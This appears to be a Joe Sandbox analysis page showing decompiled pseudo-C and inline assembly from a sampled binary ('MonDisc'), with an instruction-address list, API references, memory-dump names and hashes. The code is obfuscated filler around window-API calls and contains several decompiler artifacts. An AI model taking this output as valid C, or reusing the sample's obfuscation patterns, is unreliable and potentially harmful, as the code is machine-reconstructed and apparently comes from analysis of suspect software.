				_pop(_t947);
				_pop(_t944);
				_pop(_t929);
				goto E00007FF67FF6ED0FE2B0;
				asm("int3");
				asm("int3");
				_t915 = _t937 - 0x30 + 0x30;
				 *((long long*)(_t915 + 8)) = _a88;
				 *((long long*)(_t915 + 0x10)) = _a96;
				 *((long long*)(_t915 + 0x18)) = _a104;
				asm("movaps [eax-0x38], xmm6");
				r14d = r8d;
				E00007FF67FF6ED184484(_t915);
				r13d = 0x8000007f;
				r15d = 1;
				r12d = 0xffffff80;
				if (_t902 >= 0) goto 0xed0f5f95;
				asm("movsd xmm6, [0x113b2b]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t902 < 0) goto 0xed0f5fdd;
				 *0xed1ee3f0(_t951, _t949, _t947, _t944, _t929);
				E00007FF67FF6ED184484(_t915);
				if (_t902 >= 0) goto 0xed0f5fc4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t902 >= 0x00000000;
				goto 0xed0f601c;
				_t579 = E00007FF67FF6ED184484(_t915);
				if (_t902 >= 0) goto 0xed0f5ff0;
				_t903 = ((_t579 & r13d) - r15d | r12d) + r15d - 0x57;
				if (_t903 != 0) goto 0xed0f5ffb;
				E00007FF67FF6ED1EE020();
				_t584 = E00007FF67FF6ED184484(_t915);
				if (_t903 >= 0) goto 0xed0f600e;
				_t904 = ((_t584 & r13d) - r15d | r12d) + r15d - 0x57;
				 *0xed236f60 = 0 | _t904 == 0x00000000;
				 *0xed236f60 = r15d;
				_t589 = E00007FF67FF6ED184484(_t915);
				if (_t904 >= 0) goto 0xed0f6036;
				_t905 = ((_t589 & r13d) - r15d | r12d) + r15d - 0x29;
				if (_t905 <= 0) goto 0xed0f60c2;
				E00007FF67FF6ED184484(_t915);
				if (_t905 >= 0) goto 0xed0f6052;
				asm("movsd xmm6, [0x1139c6]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t905 < 0) goto 0xed0f606e;
				E00007FF67FF6ED1EE020();
				E00007FF67FF6ED184484(_t915);
				if (_t905 >= 0) goto 0xed0f6081;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t905 >= 0x00000000;
				 *0xed236f60 = r15d;
				_t606 = E00007FF67FF6ED184484(_t915);
				if (_t905 >= 0) goto 0xed0f60b2;
				 *0xed236f60 = 0 | ((_t606 & r13d) - r15d | r12d) + r15d - 0x00000029 > 0x00000000;
				goto 0xed0f60cc;
				 *0xed236f60 = 0;
				 *0xed236f60 = r15d;
				 *0xed1ee008();
				 *0xed236f60 = 0x26;
				if (0x26 + r15b - 0x35 < 0) goto 0xed0f60db;
				E00007FF67FF6ED1EE028();
				 *0xed236f60 = 0x2e;
				_t908 = 0x2e + r15b - 0x30;
				if (_t908 < 0) goto 0xed0f60ee;
				 *0xed1ee398();
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t915);
				if (_t908 >= 0) goto 0xed0f6127;
				asm("movsd xmm6, [0x1138b1]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t908 != 0) goto 0xed0f613f;
				if (_t908 == 0) goto 0xed0f6174;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x34;
				_t621 = E00007FF67FF6ED184484(_t915);
				if (_t908 >= 0) goto 0xed0f616a;
				if (((_t621 & r13d) - r15d | r12d) + r15d - 0x3b < 0) goto 0xed0f6174;
				_t910 = 0x34 + r15b - 0x41;
				if (_t910 < 0) goto 0xed0f6141;
				E00007FF67FF6ED184484(_t915);
				if (_t910 >= 0) goto 0xed0f6187;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t910 != 0) goto 0xed0f619c;
				if (_t910 != 0) goto 0xed0f619c;
				goto 0xed0f619e;
				 *0xed236f60 = 0;
				 *0xed1ee3c8();
				 *0xed1ee3d0();
				 *0xed1ee398();
				goto 0xed0f61d4;
				asm("sti");
				_push(0x73);
				asm("fild word [ecx+ecx*4+0x3d]");
				return _t801 | 0xb60f0014;
			}

0x7ff6ed0f5117
0x7ff6ed0f5123
0x7ff6ed0f512a
0x7ff6ed0f512d
0x7ff6ed0f5138
0x7ff6ed0f513e
0x7ff6ed0f5144
0x7ff6ed0f5147
0x7ff6ed0f514f
0x7ff6ed0f5158
0x7ff6ed0f5160
0x7ff6ed0f5169
0x7ff6ed0f5176
0x7ff6ed0f5179
0x7ff6ed0f5185
0x7ff6ed0f518c
0x7ff6ed0f518f
0x7ff6ed0f51a0
0x7ff6ed0f51a6
0x7ff6ed0f51b0
0x7ff6ed0f51b9
0x7ff6ed0f51bb
0x7ff6ed0f51c1
0x7ff6ed0f51cd
0x7ff6ed0f51d3
0x7ff6ed0f51d6
0x7ff6ed0f51d8
0x7ff6ed0f51df
0x7ff6ed0f51e5
0x7ff6ed0f51ed
0x7ff6ed0f51f6
0x7ff6ed0f51fa
0x7ff6ed0f51fe
0x7ff6ed0f5202
0x7ff6ed0f5204
0x7ff6ed0f520a
0x7ff6ed0f5214
0x7ff6ed0f5222
0x7ff6ed0f5228
0x7ff6ed0f522b
0x7ff6ed0f522d
0x7ff6ed0f5233
0x7ff6ed0f523b
0x7ff6ed0f5244
0x7ff6ed0f5247
0x7ff6ed0f5249
0x7ff6ed0f5251
0x7ff6ed0f5262
0x7ff6ed0f5270
0x7ff6ed0f5276
0x7ff6ed0f5279
0x7ff6ed0f527b
0x7ff6ed0f5287
0x7ff6ed0f528f
0x7ff6ed0f5298
0x7ff6ed0f52a0
0x7ff6ed0f52b7
0x7ff6ed0f52bd
0x7ff6ed0f52c6
0x7ff6ed0f52c8
0x7ff6ed0f52ce
0x7ff6ed0f52d6
0x7ff6ed0f52e2
0x7ff6ed0f52e8
0x7ff6ed0f52eb
0x7ff6ed0f52ef
0x7ff6ed0f52f5
0x7ff6ed0f52fb
0x7ff6ed0f5301
0x7ff6ed0f5309
0x7ff6ed0f5315
0x7ff6ed0f5319
0x7ff6ed0f531e
0x7ff6ed0f5326
0x7ff6ed0f532c
0x7ff6ed0f5334
0x7ff6ed0f533d
0x7ff6ed0f5340
0x7ff6ed0f5342
0x7ff6ed0f534a
0x7ff6ed0f535b
0x7ff6ed0f5361
0x7ff6ed0f536a
0x7ff6ed0f5370
0x7ff6ed0f5373
0x7ff6ed0f5377
0x7ff6ed0f537d
0x7ff6ed0f538b
0x7ff6ed0f5391
0x7ff6ed0f5399
0x7ff6ed0f53a5
0x7ff6ed0f53a7
0x7ff6ed0f53aa
0x7ff6ed0f53ac
0x7ff6ed0f53b1
0x7ff6ed0f53b9
0x7ff6ed0f53c2
0x7ff6ed0f53c5
0x7ff6ed0f53c7
0x7ff6ed0f53d1
0x7ff6ed0f53d9
0x7ff6ed0f53ea
0x7ff6ed0f53f6
0x7ff6ed0f53ff
0x7ff6ed0f5405
0x7ff6ed0f5408
0x7ff6ed0f540e
0x7ff6ed0f5418
0x7ff6ed0f541c
0x7ff6ed0f5424
0x7ff6ed0f542a
0x7ff6ed0f5432
0x7ff6ed0f543c
0x7ff6ed0f5442
0x7ff6ed0f544a
0x7ff6ed0f544f
0x7ff6ed0f5457
0x7ff6ed0f545d
0x7ff6ed0f5465
0x7ff6ed0f546e
0x7ff6ed0f5471
0x7ff6ed0f5473
0x7ff6ed0f547b
0x7ff6ed0f5484
0x7ff6ed0f5487
0x7ff6ed0f548b
0x7ff6ed0f5491
0x7ff6ed0f5499
0x7ff6ed0f54aa
0x7ff6ed0f54b0
0x7ff6ed0f54b8
0x7ff6ed0f54c4
0x7ff6ed0f54ca
0x7ff6ed0f54cd
0x7ff6ed0f54d1
0x7ff6ed0f54d7
0x7ff6ed0f54dd
0x7ff6ed0f54e3
0x7ff6ed0f54eb
0x7ff6ed0f54f4
0x7ff6ed0f54f7
0x7ff6ed0f54f9
0x7ff6ed0f5501
0x7ff6ed0f550c
0x7ff6ed0f5512
0x7ff6ed0f5520
0x7ff6ed0f5526
0x7ff6ed0f552e
0x7ff6ed0f553a
0x7ff6ed0f553c
0x7ff6ed0f553f
0x7ff6ed0f5543
0x7ff6ed0f5549
0x7ff6ed0f5551
0x7ff6ed0f555a
0x7ff6ed0f555d
0x7ff6ed0f555f
0x7ff6ed0f5567
0x7ff6ed0f5578
0x7ff6ed0f557a
0x7ff6ed0f5582
0x7ff6ed0f558b
0x7ff6ed0f558e
0x7ff6ed0f5590
0x7ff6ed0f5598
0x7ff6ed0f55a1
0x7ff6ed0f55a9
0x7ff6ed0f55af
0x7ff6ed0f55b7
0x7ff6ed0f55c3
0x7ff6ed0f55c7
0x7ff6ed0f55cd
0x7ff6ed0f55d7
0x7ff6ed0f55dd
0x7ff6ed0f55e0
0x7ff6ed0f55e2
0x7ff6ed0f55ea
0x7ff6ed0f55fd
0x7ff6ed0f5605
0x7ff6ed0f5611
0x7ff6ed0f5617
0x7ff6ed0f561a
0x7ff6ed0f561c
0x7ff6ed0f5624
0x7ff6ed0f562d
0x7ff6ed0f5630
0x7ff6ed0f5635
0x7ff6ed0f563b
0x7ff6ed0f5641
0x7ff6ed0f5649
0x7ff6ed0f5652
0x7ff6ed0f5656
0x7ff6ed0f565a
0x7ff6ed0f5662
0x7ff6ed0f5664
0x7ff6ed0f5667
0x7ff6ed0f5669
0x7ff6ed0f5671
0x7ff6ed0f567a
0x7ff6ed0f567d
0x7ff6ed0f5681
0x7ff6ed0f568f
0x7ff6ed0f5694
0x7ff6ed0f5699
0x7ff6ed0f569e
0x7ff6ed0f56a3
0x7ff6ed0f56a8
0x7ff6ed0f56ad
0x7ff6ed0f56b1
0x7ff6ed0f56b3
0x7ff6ed0f56b5
0x7ff6ed0f56b6
0x7ff6ed0f56bb
0x7ff6ed0f56bc
0x7ff6ed0f56bf
0x7ff6ed0f56c3
0x7ff6ed0f56c7
0x7ff6ed0f56cb
0x7ff6ed0f56e1
0x7ff6ed0f56e5
0x7ff6ed0f56ee
0x7ff6ed0f56fc
0x7ff6ed0f5701
0x7ff6ed0f570f
0x7ff6ed0f5717
0x7ff6ed0f571a
0x7ff6ed0f571f
0x7ff6ed0f5723
0x7ff6ed0f5729
0x7ff6ed0f5736
0x7ff6ed0f573c
0x7ff6ed0f5744
0x7ff6ed0f574f
0x7ff6ed0f5751
0x7ff6ed0f5757
0x7ff6ed0f5761
0x7ff6ed0f576d
0x7ff6ed0f5773
0x7ff6ed0f5776
0x7ff6ed0f577a
0x7ff6ed0f5780
0x7ff6ed0f5788
0x7ff6ed0f5790
0x7ff6ed0f5793
0x7ff6ed0f5795
0x7ff6ed0f579c
0x7ff6ed0f57a4
0x7ff6ed0f57af
0x7ff6ed0f57b5
0x7ff6ed0f57bb
0x7ff6ed0f57bd
0x7ff6ed0f57c3
0x7ff6ed0f57ca
0x7ff6ed0f57d2
0x7ff6ed0f57dd
0x7ff6ed0f57e7
0x7ff6ed0f57ed
0x7ff6ed0f57f0
0x7ff6ed0f57f2
0x7ff6ed0f57fa
0x7ff6ed0f5805
0x7ff6ed0f580b
0x7ff6ed0f5819
0x7ff6ed0f581f
0x7ff6ed0f5827
0x7ff6ed0f5832
0x7ff6ed0f5834
0x7ff6ed0f5837
0x7ff6ed0f5839
0x7ff6ed0f583f
0x7ff6ed0f5845
0x7ff6ed0f584b
0x7ff6ed0f5851
0x7ff6ed0f5856
0x7ff6ed0f585b
0x7ff6ed0f5863
0x7ff6ed0f5866
0x7ff6ed0f5868
0x7ff6ed0f586f
0x7ff6ed0f587a
0x7ff6ed0f5880
0x7ff6ed0f5886
0x7ff6ed0f588d
0x7ff6ed0f5895
0x7ff6ed0f589b
0x7ff6ed0f589f
0x7ff6ed0f58a2
0x7ff6ed0f58a4
0x7ff6ed0f58ab
0x7ff6ed0f58bb
0x7ff6ed0f58c0
0x7ff6ed0f58c7
0x7ff6ed0f58cf
0x7ff6ed0f58d2
0x7ff6ed0f58d8
0x7ff6ed0f58df
0x7ff6ed0f58e7
0x7ff6ed0f58ea
0x7ff6ed0f58ee
0x7ff6ed0f58f4
0x7ff6ed0f58fb
0x7ff6ed0f5905
0x7ff6ed0f590b
0x7ff6ed0f5911
0x7ff6ed0f5916
0x7ff6ed0f591d
0x7ff6ed0f5925
0x7ff6ed0f592d
0x7ff6ed0f5931
0x7ff6ed0f5935
0x7ff6ed0f5939
0x7ff6ed0f593b
0x7ff6ed0f5942
0x7ff6ed0f594d
0x7ff6ed0f5951
0x7ff6ed0f5956
0x7ff6ed0f5958
0x7ff6ed0f5964
0x7ff6ed0f596a
0x7ff6ed0f5974
0x7ff6ed0f597c
0x7ff6ed0f597f
0x7ff6ed0f5981
0x7ff6ed0f598b
0x7ff6ed0f598d
0x7ff6ed0f5993
0x7ff6ed0f599a
0x7ff6ed0f59a4
0x7ff6ed0f59aa
0x7ff6ed0f59b0
0x7ff6ed0f59b7
0x7ff6ed0f59bf
0x7ff6ed0f59c5
0x7ff6ed0f59c9
0x7ff6ed0f59d0
0x7ff6ed0f59d6
0x7ff6ed0f59dd
0x7ff6ed0f59ed
0x7ff6ed0f59f3
0x7ff6ed0f59fb
0x7ff6ed0f5a09
0x7ff6ed0f5a13
0x7ff6ed0f5a15
0x7ff6ed0f5a23
0x7ff6ed0f5a29
0x7ff6ed0f5a2c
0x7ff6ed0f5a30
0x7ff6ed0f5a36
0x7ff6ed0f5a3d
0x7ff6ed0f5a46
0x7ff6ed0f5a49
0x7ff6ed0f5a4b
0x7ff6ed0f5a52
0x7ff6ed0f5a5d
0x7ff6ed0f5a63
0x7ff6ed0f5a69
0x7ff6ed0f5a6b
0x7ff6ed0f5a71
0x7ff6ed0f5a7b
0x7ff6ed0f5a82
0x7ff6ed0f5a8b
0x7ff6ed0f5a93
0x7ff6ed0f5a97
0x7ff6ed0f5a9b
0x7ff6ed0f5a9f
0x7ff6ed0f5aa9
0x7ff6ed0f5aaf
0x7ff6ed0f5ab2
0x7ff6ed0f5ab4
0x7ff6ed0f5abb
0x7ff6ed0f5ac4
0x7ff6ed0f5aca
0x7ff6ed0f5ace
0x7ff6ed0f5ad5
0x7ff6ed0f5adb
0x7ff6ed0f5ae2
0x7ff6ed0f5aeb
0x7ff6ed0f5af3
0x7ff6ed0f5af7
0x7ff6ed0f5afb
0x7ff6ed0f5aff
0x7ff6ed0f5b01
0x7ff6ed0f5b08
0x7ff6ed0f5b11
0x7ff6ed0f5b17
0x7ff6ed0f5b1b
0x7ff6ed0f5b22
0x7ff6ed0f5b28
0x7ff6ed0f5b2e
0x7ff6ed0f5b34
0x7ff6ed0f5b3b
0x7ff6ed0f5b44
0x7ff6ed0f5b47
0x7ff6ed0f5b49
0x7ff6ed0f5b50
0x7ff6ed0f5b61
0x7ff6ed0f5b69
0x7ff6ed0f5b6f
0x7ff6ed0f5b75
0x7ff6ed0f5b7b
0x7ff6ed0f5b85
0x7ff6ed0f5b91
0x7ff6ed0f5b97
0x7ff6ed0f5b9a
0x7ff6ed0f5b9c
0x7ff6ed0f5ba2
0x7ff6ed0f5ba8
0x7ff6ed0f5bb4
0x7ff6ed0f5bbd
0x7ff6ed0f5bc5
0x7ff6ed0f5bc9
0x7ff6ed0f5bcd
0x7ff6ed0f5bd1
0x7ff6ed0f5bd7
0x7ff6ed0f5bda
0x7ff6ed0f5be1
0x7ff6ed0f5bea
0x7ff6ed0f5bed
0x7ff6ed0f5bf6
0x7ff6ed0f5bfc
0x7ff6ed0f5c06
0x7ff6ed0f5c12
0x7ff6ed0f5c17
0x7ff6ed0f5c19
0x7ff6ed0f5c23
0x7ff6ed0f5c25
0x7ff6ed0f5c2c
0x7ff6ed0f5c35
0x7ff6ed0f5c38
0x7ff6ed0f5c3a
0x7ff6ed0f5c41
0x7ff6ed0f5c4c
0x7ff6ed0f5c52
0x7ff6ed0f5c58
0x7ff6ed0f5c5f
0x7ff6ed0f5c74
0x7ff6ed0f5c77
0x7ff6ed0f5c7d
0x7ff6ed0f5c83
0x7ff6ed0f5c87
0x7ff6ed0f5c8d
0x7ff6ed0f5c94
0x7ff6ed0f5c9d
0x7ff6ed0f5ca3
0x7ff6ed0f5ca7
0x7ff6ed0f5cae
0x7ff6ed0f5cb6
0x7ff6ed0f5cb6
0x7ff6ed0f5cc2
0x7ff6ed0f5ccd
0x7ff6ed0f5cd3
0x7ff6ed0f5ce1
0x7ff6ed0f5ce6
0x7ff6ed0f5cf1
0x7ff6ed0f5cff
0x7ff6ed0f5d03
0x7ff6ed0f5d0b
0x7ff6ed0f5d11
0x7ff6ed0f5d14
0x7ff6ed0f5d1e
0x7ff6ed0f5d20
0x7ff6ed0f5d24
0x7ff6ed0f5d26
0x7ff6ed0f5d29
0x7ff6ed0f5d37
0x7ff6ed0f5d3d
0x7ff6ed0f5d45
0x7ff6ed0f5d52
0x7ff6ed0f5d5a
0x7ff6ed0f5d63
0x7ff6ed0f5d67
0x7ff6ed0f5d6f
0x7ff6ed0f5d75
0x7ff6ed0f5d83
0x7ff6ed0f5d89
0x7ff6ed0f5d8c
0x7ff6ed0f5d8e
0x7ff6ed0f5d91
0x7ff6ed0f5d99
0x7ff6ed0f5da3
0x7ff6ed0f5dab
0x7ff6ed0f5db1
0x7ff6ed0f5db5
0x7ff6ed0f5dba
0x7ff6ed0f5dc2
0x7ff6ed0f5dc8
0x7ff6ed0f5dd0
0x7ff6ed0f5dda
0x7ff6ed0f5ddd
0x7ff6ed0f5ddf
0x7ff6ed0f5de6
0x7ff6ed0f5dec
0x7ff6ed0f5df4
0x7ff6ed0f5dfe
0x7ff6ed0f5e02
0x7ff6ed0f5e06
0x7ff6ed0f5e0a
0x7ff6ed0f5e0c
0x7ff6ed0f5e0e
0x7ff6ed0f5e15
0x7ff6ed0f5e1f
0x7ff6ed0f5e21
0x7ff6ed0f5e2b
0x7ff6ed0f5e2d
0x7ff6ed0f5e31
0x7ff6ed0f5e35
0x7ff6ed0f5e3b
0x7ff6ed0f5e42
0x7ff6ed0f5e48
0x7ff6ed0f5e50
0x7ff6ed0f5e5a
0x7ff6ed0f5e5d
0x7ff6ed0f5e5f
0x7ff6ed0f5e69
0x7ff6ed0f5e71
0x7ff6ed0f5e7b
0x7ff6ed0f5e7f
0x7ff6ed0f5e83
0x7ff6ed0f5e87
0x7ff6ed0f5e89
0x7ff6ed0f5e91
0x7ff6ed0f5e9b
0x7ff6ed0f5e9e
0x7ff6ed0f5ea0
0x7ff6ed0f5ea6
0x7ff6ed0f5eae
0x7ff6ed0f5eba
0x7ff6ed0f5ec0
0x7ff6ed0f5ec6
0x7ff6ed0f5ece
0x7ff6ed0f5ed8
0x7ff6ed0f5ede
0x7ff6ed0f5ee2
0x7ff6ed0f5eec
0x7ff6ed0f5ef5
0x7ff6ed0f5efb
0x7ff6ed0f5efe
0x7ff6ed0f5f04
0x7ff6ed0f5f0b
0x7ff6ed0f5f2f
0x7ff6ed0f5f38
0x7ff6ed0f5f3a
0x7ff6ed0f5f3c
0x7ff6ed0f5f3e
0x7ff6ed0f5f40
0x7ff6ed0f5f41
0x7ff6ed0f5f46
0x7ff6ed0f5f47
0x7ff6ed0f5f48
0x7ff6ed0f5f4b
0x7ff6ed0f5f4f
0x7ff6ed0f5f53
0x7ff6ed0f5f64
0x7ff6ed0f5f68
0x7ff6ed0f5f70
0x7ff6ed0f5f75
0x7ff6ed0f5f7b
0x7ff6ed0f5f81
0x7ff6ed0f5f8a
0x7ff6ed0f5f95
0x7ff6ed0f5f9d
0x7ff6ed0f5fa1
0x7ff6ed0f5fa5
0x7ff6ed0f5fa9
0x7ff6ed0f5fab
0x7ff6ed0f5fb1
0x7ff6ed0f5fb9
0x7ff6ed0f5fc4
0x7ff6ed0f5fca
0x7ff6ed0f5fce
0x7ff6ed0f5fd5
0x7ff6ed0f5fdb
0x7ff6ed0f5fdd
0x7ff6ed0f5fe5
0x7ff6ed0f5ff0
0x7ff6ed0f5ff3
0x7ff6ed0f5ff5
0x7ff6ed0f5ffb
0x7ff6ed0f6003
0x7ff6ed0f6010
0x7ff6ed0f6016
0x7ff6ed0f601c
0x7ff6ed0f6023
0x7ff6ed0f602b
0x7ff6ed0f6036
0x7ff6ed0f6039
0x7ff6ed0f603f
0x7ff6ed0f6047
0x7ff6ed0f6052
0x7ff6ed0f605a
0x7ff6ed0f605e
0x7ff6ed0f6062
0x7ff6ed0f6066
0x7ff6ed0f6068
0x7ff6ed0f606e
0x7ff6ed0f6076
0x7ff6ed0f6081
0x7ff6ed0f6087
0x7ff6ed0f608b
0x7ff6ed0f6092
0x7ff6ed0f6098
0x7ff6ed0f609f
0x7ff6ed0f60a7
0x7ff6ed0f60ba
0x7ff6ed0f60c0
0x7ff6ed0f60c2
0x7ff6ed0f60cc
0x7ff6ed0f60d3
0x7ff6ed0f60e1
0x7ff6ed0f60ea
0x7ff6ed0f60f0
0x7ff6ed0f60fc
0x7ff6ed0f6102
0x7ff6ed0f6105
0x7ff6ed0f6107
0x7ff6ed0f610d
0x7ff6ed0f6114
0x7ff6ed0f611c
0x7ff6ed0f6127
0x7ff6ed0f612f
0x7ff6ed0f6133
0x7ff6ed0f6137
0x7ff6ed0f613b
0x7ff6ed0f613d
0x7ff6ed0f6141
0x7ff6ed0f6151
0x7ff6ed0f6157
0x7ff6ed0f615f
0x7ff6ed0f616d
0x7ff6ed0f616f
0x7ff6ed0f6172
0x7ff6ed0f6174
0x7ff6ed0f617c
0x7ff6ed0f6187
0x7ff6ed0f618b
0x7ff6ed0f618f
0x7ff6ed0f6193
0x7ff6ed0f6195
0x7ff6ed0f619a
0x7ff6ed0f619e
0x7ff6ed0f61a4
0x7ff6ed0f61ac
0x7ff6ed0f61b2
0x7ff6ed0f61ba
0x7ff6ed0f61bd
0x7ff6ed0f61be
0x7ff6ed0f61c3
0x7ff6ed0f61cd

APIs

GetMessageTime.USER32 ref: 00007FF6ED0F5214

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: MessageTime
String ID:
API String ID: 761539514-0
Opcode ID: 8b4aad55dd11f83bfe675c7d283c766344b9de2021c3024b51f32849b0f369df
Instruction ID: d06a35e4f6cf730905c6ac8fc9c6ff261598063cb1ac61e5aa4b92580b84448c
Opcode Fuzzy Hash: 8b4aad55dd11f83bfe675c7d283c766344b9de2021c3024b51f32849b0f369df
Instruction Fuzzy Hash: C17257A7D1C9074AF6059F34995A3B922956F64311F380A3AD50ED3297FF3EB189820F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F8EB4 Relevance: 68.3, APIs: 45, Instructions: 790
windowCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00007FF67FF6ED0F8EB4(intOrPtr _a152) {
				signed int _t59;
				signed int _t66;
				signed int _t71;
				signed int _t74;
				signed int _t87;
				signed int _t92;
				signed int _t97;
				signed int _t110;
				signed int _t126;
				signed int _t131;
				signed int _t146;
				short _t152;
				signed int _t156;
				signed int _t161;
				signed int _t167;
				signed int _t172;
				signed int _t177;
				signed int _t182;
				signed int _t187;
				signed int _t193;
				signed int _t204;
				signed int _t210;
				signed int _t223;
				signed int _t228;
				signed int _t245;
				signed int _t274;
				signed int _t280;
				signed int _t285;
				signed int _t320;
				signed int _t326;
				signed int _t332;
				signed int _t338;
				signed int _t344;
				signed int _t351;
				signed int _t362;
				signed int _t374;
				signed int _t379;
				signed int _t384;
				signed int _t389;
				signed int _t420;
				signed int _t426;
				signed int _t433;
				signed int _t438;
				signed int _t446;
				signed int _t451;
				signed int _t488;
				signed int _t494;
				signed char _t526;
				signed int _t566;
				signed int _t571;
				void* _t575;
				void* _t578;
				void* _t581;
				void* _t584;
				void* _t585;
				void* _t586;
				void* _t588;
				void* _t591;
				void* _t593;
				void* _t594;
				void* _t595;
				void* _t597;
				void* _t601;
				void* _t602;
				void* _t603;
				void* _t604;
				void* _t605;
				void* _t606;
				void* _t607;
				void* _t608;
				void* _t609;
				void* _t611;
				void* _t612;
				void* _t614;
				void* _t619;
				void* _t620;
				void* _t622;
				void* _t623;
				void* _t624;
				void* _t625;
				void* _t627;
				void* _t629;
				void* _t630;
				void* _t631;
				void* _t633;
				void* _t634;
				void* _t636;
				void* _t637;
				void* _t638;
				void* _t639;
				void* _t641;
				void* _t642;
				void* _t644;
				void* _t646;
				void* _t647;
				void* _t648;
				void* _t649;
				void* _t650;
				void* _t651;
				void* _t654;
				void* _t655;
				void* _t660;

				goto 0xed0f8eba;
				 *0xed236f60 = _t494;
				GetMessageExtraInfo();
				_t59 = E00007FF67FF6ED184484(_t654);
				if (_t578 >= 0) goto 0xed0f8ed6;
				if (((_t59 & _t566) - _t494 | 0xffffff80) + _t494 - _t575 >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t494;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t494;
				 *0xed236f60 = sil & 0xffffffff;
				_t581 = sil - 0x34;
				if (_t581 < 0) goto 0xed0f8edd;
				_t66 = E00007FF67FF6ED184484(_t654);
				r14d = 0x8000007f;
				if (_t581 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t71 = E00007FF67FF6ED184484(_t654);
				r14d = _t566;
				if (((_t66 & r14d) - _t494 | 0xffffff80) + _t494 - 0x5d >= 0) goto 0xed0f8f42;
				_t74 = (_t71 & _t566) - _t494 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t584 = _t74 - 0x15;
				if (_t584 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t654);
				if (_t584 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t584 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t654);
				if (_t584 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t584 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t494;
				_t87 = E00007FF67FF6ED184484(_t654);
				if (_t584 >= 0) goto 0xed0f8fb7;
				_t585 = ((_t87 & r14d) - _t494 | 0xffffff80) + _t494 - 0x15;
				 *0xed236f60 = 0 | _t585 == 0x00000000;
				dil = 0x5f;
				_t92 = E00007FF67FF6ED184484(_t654);
				if (_t585 >= 0) goto 0xed0f8fd9;
				_t586 = ((_t92 & r14d) - _t494 | 0xffffff80) + _t494 - 0x27;
				if (_t586 <= 0) goto 0xed0f8ffd;
				_t97 = E00007FF67FF6ED184484(_t654);
				if (_t586 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t97 & r14d) - _t494 | 0xffffff80) + _t494 - 0x00000027 > 0x00000000;
				dil = dil + _t494;
				 *0xed236f60 = dil & 0xffffffff;
				_t588 = dil - 0x73;
				if (_t588 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t654);
				if (_t588 >= 0) goto 0xed0f9034;
				_t110 = E00007FF67FF6ED184484(_t654);
				if (_t588 >= 0) goto 0xed0f9045;
				dil = dil + _t494;
				 *0xed236f60 = 0 | ((_t110 & r14d) - _t494 | 0xffffff80) + _t494 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t591 = 0x52 + _t494 - 0x5b;
				if (_t591 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t494;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t654);
				if (_t591 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t591 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t494;
				 *0xed236f60 = r13b & 0xffffffff;
				_t593 = r13b - 0x11;
				if (_t593 < 0) goto 0xed0f90be;
